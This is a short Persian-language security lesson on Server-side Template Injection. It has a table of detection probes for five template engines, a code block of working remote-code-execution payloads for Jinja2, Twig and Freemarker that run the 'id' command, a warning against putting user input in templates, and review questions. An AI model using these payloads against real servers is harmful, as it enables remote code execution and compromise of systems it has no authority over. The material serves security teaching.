در حال بارگذاری...
تست تزریق در قالبهای سمت سرور (Server-side Template Injection) برای اجرای کد مخرب.
اهداف این درس
Server-side Template Injection (SSTI) آسیبپذیری است که در آن مهاجم کد مخرب را در قالبهای سمت سرور تزریق میکند. این آسیبپذیری میتواند منجر به اجرای کد کامل از راه دور شود.
| موتور | زبان | payload تست |
|---|---|---|
| Jinja2 | Python | {{7*7}} |
| Twig | PHP | {{7*7}} |
| Freemarker | Java | ${7*7} |
| Velocity | Java | #set($x=7*7) |
| Smarty | PHP | {7*7} |
1// تست ساده2{{7*7}}3${7*7}4<%= 7*7 %>56// Jinja2 RCE7{{config.__class__.__init__.__globals__['os'].popen('id').read()}}89// Twig RCE10{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}1112// Freemarker RCE13<#assign ex='freemarker.template.utility.Execute'?new()>${ex('id')}هشدار
SSTI یکی از خطرناکترین آسیبپذیریها است زیرا میتواند منجر به RCE شود.
SSTI میتواند منجر به RCE شود.
موتورهای قالب مختلف payloadهای متفاوتی نیاز دارند.
هرگز ورودی کاربر را مستقیماً در قالب استفاده نکنید.
SSTI میتواند منجر به چه حملاتی شود؟
SSTI چیست؟
Server-side Template Injection تکنیکی است که در آن مهاجم کد مخرب را در قالبهای سمت سرور تزریق میکند تا اجرا شود.